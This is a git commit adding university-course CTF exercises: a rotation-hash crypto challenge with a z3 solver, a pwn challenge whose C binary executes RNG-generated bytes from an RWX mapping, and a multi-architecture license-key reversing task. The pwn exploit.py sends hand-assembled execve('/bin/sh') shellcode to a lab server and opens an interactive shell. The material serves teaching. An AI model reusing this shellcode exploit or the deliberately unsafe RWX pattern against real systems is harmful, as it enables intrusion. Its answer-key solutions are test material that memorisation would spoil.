This commit is contained in:
2025-02-26 20:14:15 +01:00
parent 2a053eb9ca
commit e9e0fb20c2
22 changed files with 652 additions and 1 deletions

View File

@@ -0,0 +1,18 @@
This crypto challenge was part of the HTB University CTF we played in 2024
The problem is basically the following (all values are 128 bitvectors):
given h1 and h2, find r1,r2,r3,r4,s1,s2, such that:
ROL(s1, r1) ^ ROL(s2, r2) == h1
ROL(s1, r3) ^ ROL(s2, r4) == h2
z3 doesn't seem to be able to solve this directly in a fast manner (challenge expects solution in less than 2 seconds)
The crypto problem was then "reduced" to the following:
Given any value x with parity 0, find y and c, such that (y ^ (ROL(y,c))) == x
Whether this even has a (good) solution, would also not seem clear, but sometimes it's worth just asking z3...
Find a solution for this problem with z3 in `z3test.py`
If you want to get an actual flag, copy paste the `compute_yc` function in the exploit.py under "TODO" and run
`./exploit.py courses.sec.in.tum.de 13371`

View File

@@ -0,0 +1,149 @@
#!/usr/bin/env python
import pwn
import sys
import re
import binascii
import random
N = 128
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
_ROR_ = lambda x, i : ((x >> i) | (x << (N-i))) & (2**N - 1)
class HashRoll:
def __init__(self):
self.reset_state()
def hash_step(self, i):
r1, r2 = self.state[2*i], self.state[2*i+1]
r = _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2)
print(f'h{i} = {r}')
return r
def update_state(self, state=None):
if not state:
self.state = [0] * 6
self.state[:4] = [random.randint(0, N) for _ in range(4)]
self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)]
else:
self.state = state
def reset_state(self):
self.update_state()
def digest(self, buffer):
buffer = int.from_bytes(buffer, byteorder='big')
m1 = buffer >> N
m2 = buffer & (2**N - 1)
self.h = b''
for i in range(2):
self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big')
return self.h
def parity(x):
res = 0
while x:
res ^= x & 1
x >>= 1
return res
def compute_yc(x):
import z3
s = z3.Solver()
y = z3.BitVec("y", N)
c = z3.BitVec("c", N)
s.add((y ^ z3.RotateLeft(y,c)) == x)
s.check()
m = s.model()
return m[y].as_long(), m[c].as_long()
# h = m1 ^ h(0) + m2 ^h(1)
# h(x) = rol(s1, vx1) ^ rol(s2, vx2)
# given x, y is it possible to find:
# s1, s2, r1, r2, r3, r4,
# so that rol(s1, r1) ^ rol(s2, r2) = x
# and rol(s1, r3) ^ rol(s2, r4) = y
# r1 = 0, r2 = 0, r3 = 0
# x = s1 ^ s2
# rol(s1, r3) ^ rol(s2, r4) = y
# h0 = rol(s1, r1) ^ rol(s2, r2)
# s1 = (h0^y)
# r1, r2 = 0
# s2 = y
# r3 = 0, r4 = c
def solve_round(h1, h2):
"""
Return r1,r2,r3,r4,s1,s2 such that
_ROL_(s1, r1) ^ _ROL(s2, r2) == h1
_ROL_(s1, r3) ^ _ROL(s2, r4) == h2
"""
y,c = compute_yc(h1^h2)
s1 = h1^y
s2 = y
r1, r2, r3, r4 = 0, 0, 0, c
j = 1
# ensure non-zero vals
return [r1+j, r2+j, r3+j, (r4+j) % N, _ROR_(s1, j), _ROR_(s2, j)]
r = pwn.remote(sys.argv[1], int(sys.argv[2]))
hashfunc = HashRoll()
ROUNDS = 3
for i in range(ROUNDS):
r.recvuntil(b"/3!\n")
l = r.recvuntil(b"\n").decode()
print(l)
m = re.search(r'H\(([0-9a-f]+)\) = ([0-9a-f]+)', l)
message, h = map(lambda x: int(x, 16), m.groups())
m1 = message >> N
m2 = message & (2**N - 1)
th1 = h >> N
th2 = h & (2**N - 1)
print(f'H({hex(message)[2:]}) = {hex(h)[2:]}')
h0 = th1 ^ m1
h1 = th2 ^ m2
state = solve_round(h0, h1)
hashfunc.update_state(state)
print(hashfunc.digest(message.to_bytes(N, byteorder='big')))
print(h.to_bytes(2*N//8, byteorder='big'))
print(hashfunc.digest(message.to_bytes(N, byteorder='big')) == h.to_bytes(2*N//8, byteorder='big'))
print(state)
r.recvuntil(b' :: ')
r.sendline(b','.join(map(lambda x: str(x).encode(), state)))
print(r.recvline().decode())
print(r.recvline().decode())
# we want hashstep(0) to be m3 ^ m1
# we want hashstep(1) to be m4 ^ m2

View File

@@ -0,0 +1,96 @@
import random, os, signal
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from secret import FLAG
ROUNDS = 3
USED_STATES = []
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
N = 128
def handler(signum, frame):
print("\n\nToo slow, don't try to do sneaky things.")
exit()
def validate_state(state):
if not all(0 < s < 2**N-1 for s in user_state[-2:]) or not all(0 <= s < N for s in user_state[:4]):
print('Please, make sure your input satisfies the upper and lower bounds.')
return False
if sorted(state[:4]) in USED_STATES:
print('You cannot reuse the same state')
return False
if sum(user_state[:4]) < 2:
print('We have to deal with some edge cases...')
return False
return True
class HashRoll:
def __init__(self):
self.reset_state()
def hash_step(self, i):
r1, r2 = self.state[2*i], self.state[2*i+1]
return _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2)
def update_state(self, state=None):
if not state:
self.state = [0] * 6
self.state[:4] = [random.randint(0, N) for _ in range(4)]
self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)]
else:
self.state = state
def reset_state(self):
self.update_state()
def digest(self, buffer):
buffer = int.from_bytes(buffer, byteorder='big')
m1 = buffer >> N
m2 = buffer & (2**N - 1)
self.h = b''
for i in range(2):
self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big')
return self.h
print('Can you test my hash function for second preimage resistance? You get to select the state and I get to choose the message ... Good luck!')
hashfunc = HashRoll()
for _ in range(ROUNDS):
print(f'ROUND {_+1}/{ROUNDS}!')
server_msg = os.urandom(32)
hashfunc.reset_state()
server_hash = hashfunc.digest(server_msg)
print(f'You know H({server_msg.hex()}) = {server_hash.hex()}')
signal.signal(signal.SIGALRM, handler)
signal.alarm(2)
user_state = input('Send your hash function state (format: a,b,c,d,e,f) :: ').split(',')
try:
user_state = list(map(int, user_state))
if not validate_state(user_state):
print("The state is not valid! Try again.")
exit()
hashfunc.update_state(user_state)
if hashfunc.digest(server_msg) == server_hash:
print(f'Moving on to the next round!')
USED_STATES.append(sorted(user_state[:4]))
else:
print('Not today.')
exit()
except:
print("The hash function's state must be all integers.")
exit()
finally:
signal.alarm(0)
print(f'Uhm... how did you do that? I thought I had cryptanalyzed it enough ... {FLAG}')

View File

@@ -0,0 +1,39 @@
import random
import z3
_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1)
N = 128
def parity(x):
res = 0
while x:
res ^= x & 1
x >>= 1
return res
while True:
x = random.randint(0, 2**128)
if parity(x) == 0:
break
# Compute y and c, such that y ^ _ROL_(y,c) == x
# Hint: to implement _ROL_, z3 already has the function z3.RotateLeft
def compute_yc(x):
s = z3.Solver()
y = z3.BitVec("y", N)
c = z3.BitVec("c", N)
s.add((y ^ z3.RotateLeft(y,c)) == x)
s.check()
m = s.model()
return m[y].as_long(), m[c].as_long()
y, c = compute_yc(x)
print(f'{y=}, {c=}')
print(f'{x=}, {y ^ _ROL_(y, c)=}')
print(f'{x==y ^ _ROL_(y, c)=}')

View File

@@ -0,0 +1,15 @@
# docker build -t dreamer . && docker run --rm -p 1337:1337 --name dreamer -dit dreamer
FROM archlinux:latest
RUN pacman -Sy --noconfirm socat gcc
WORKDIR /app
COPY dream /app/
RUN chmod +x /app/dream
ARG FLAG=GPNCTF{fake_flag}
RUN echo "$FLAG" > flag.txt
EXPOSE 1337
ENTRYPOINT [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./dream,stderr" ]

View File

@@ -0,0 +1,14 @@
This pwn/misc challenge was part of GPN CTF 2024
The challenge:
- We can execute 4 bytes of arbitrary shellcode followed by 100 bytes of shellcode generated by a weird RNG, which we can seed
- We already figured out a short sequence (9 bytes) of shellcode that we want to execute.
This means we need to find a seed which will generate 5 specific bytes.
The RNG is already re-implemented in python for you in `test.py` and `exploit.py`.
Implement the function `get_seed_for_sequence` to finish the exploit. `test.py` allows you to verify your implementation is correct.
The RNG function `custom_random` takes a current state variable (initially the seed) and will return a tuple of (next byte, next state)
To get the flag from the finished exploit, run: `./exploit.py courses.sec.in.tum.de 13372`
Note, the shellcode and exploit succeeds only with a probability of 50%, you may need to run it multiple times.

Binary file not shown.

View File

@@ -0,0 +1,59 @@
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#define ROTL(X, N) (((X) << (N)) | ((X) >> (8 * sizeof(X) - (N))))
#define ROTR(X, N) (((X) >> (N)) | ((X) << (8 * sizeof(X) - (N))))
unsigned long STATE;
unsigned long CURRENT;
char custom_random(){
STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5);
return STATE % 256;
}
void* experience(long origin){
char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t k = 0;
while(k<106){
*(ccol+k) = 0x90; //nop just in case;
k++;
}
k=16;
*((int*)ccol) = origin;
while(k<100){
*(ccol+k)=custom_random();
k++;
}
return ccol;
}
void sleepy(void * dream){
int (*d)(void) = (void*)dream;
d();
}
void win(){
execv("/bin/sh",NULL);
}
void setup(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main(){
setup();
long seed=0;
printf("the win is yours at %p\n", win);
scanf("%ld",&seed);
STATE = seed;
printf("what are you thinking about?");
scanf("%ld",&seed);
sleepy(experience(seed));
}

View File

@@ -0,0 +1,99 @@
import time
import pwn
import z3
import sys
def ROL(X, N):
return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))
def ROR(X, N):
return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))
def custom_random(state):
NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5);
return NEW_STATE % 256, NEW_STATE;
pwn.context.arch = 'x86_64'
shc = pwn.asm("""
cdq;
push rdi;
xor edi, edi;
pop rsi;
xor eax, eax;
syscall
""")
def get_seed_for_sequence(bytesequence):
s = z3.Solver()
base_state = z3.BitVec("base_state", 64)
cur_state = base_state
for byte in bytesequence:
gen_byte, cur_state = custom_random(cur_state)
s.add(gen_byte == byte)
if s.check() != z3.sat:
raise RuntimeError()
m = s.model()
return m[base_state].as_long()
def get_values():
print(len(shc))
first_val = pwn.u32(shc[:4])
print(first_val)
second_val = get_seed_for_sequence(shc[4:])
print(second_val)
print(str(second_val).encode())
return first_val, second_val
first_val, second_val = get_values()
cs = second_val
for v in shc[4:]:
b, cs = custom_random(cs)
print(b, v)
assert b == v
if len(sys.argv) > 2:
r = pwn.remote(sys.argv[1], int(sys.argv[2]))
else:
r = pwn.remote("localhost", 1337)
r.recvuntil(b"at ")
win = int(r.recvline().strip().decode(), 16)
r.sendline(str(second_val).encode())
r.recvuntil(b"?")
r.sendline(str(first_val).encode())
_shc = bytearray([
0x48, 0x31, 0xd2, 0x48, 0xbb, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xeb,
0x08, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f,
0x05, 0x6a, 0x01, 0x5f, 0x6a, 0x3c, 0x58, 0x0f, 0x05
])
time.sleep(.3)
r.send(b'\x90' * (0x10 + len(shc)-4) + _shc)
r.interactive()

View File

@@ -0,0 +1,51 @@
import random
import z3
def ROL(X, N):
if isinstance(X, z3.BitVecRef):
return z3.RotateLeft(X,N)
else:
return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))
def ROR(X, N):
if isinstance(X, z3.BitVecRef):
return z3.RotateRight(X,N)
else:
return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))
def custom_random(state):
NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5)
return NEW_STATE % 256, NEW_STATE
def get_seed_for_sequence(bytesequence):
s = z3.Solver()
base_state = z3.BitVec("base_state", 64)
cur_state = base_state
for byte in bytesequence:
gen_byte, cur_state = custom_random(cur_state)
s.add(gen_byte == byte)
if s.check() != z3.sat:
raise RuntimeError()
m = s.model()
return m[base_state].as_long()
def gen_sequence(seed, length):
r = []
cs = seed
for _ in range(length):
v, cs = custom_random(cs)
r.append(v)
return bytes(r)
test = random.getrandbits(32).to_bytes(4)
seed = get_seed_for_sequence(test)
print(seed)
print(test)
assert test == gen_sequence(seed, 4)

View File

@@ -0,0 +1,11 @@
# docker build -t archventure-time . && docker run -it archventure-time
FROM ubuntu:24.04
RUN apt update
RUN apt install -y qemu-user libc6-arm64-cross libc6-riscv64-cross libc6-ppc64-cross
COPY ./archventure /app/chal
WORKDIR /app
CMD ["./chal"]

View File

@@ -0,0 +1,18 @@
This challenge was part of GPN2024 CTF
The binary doesn't need to be analyzed and is there only for reference and to retrieve the flag with the correct license code.
Template code is provided, the reversing part of the individual constraints was already done/is given.
The license key has the form XXXXX-XXXXX-XXXXX-XXXXX
The template code will mostly ignore the '-' (since the binary does it mostly as well) and `license[5]` will refer to the 6th X
For context:
- The binary will perform some general constraint checks on the license
- The binary will extract 4 binaries of different architectures that each contain different parts of a constraint set and are then executed
- The constraints are described in the template and the relevant arrays extracted already
To validate your license key, run the binary (it requires qemu and some dependencies, so using the Dockerfile might be easiest):
Build: `docker build -t archventure .`
Run: `docker run --rm -it archventure`

Binary file not shown.

File diff suppressed because one or more lines are too long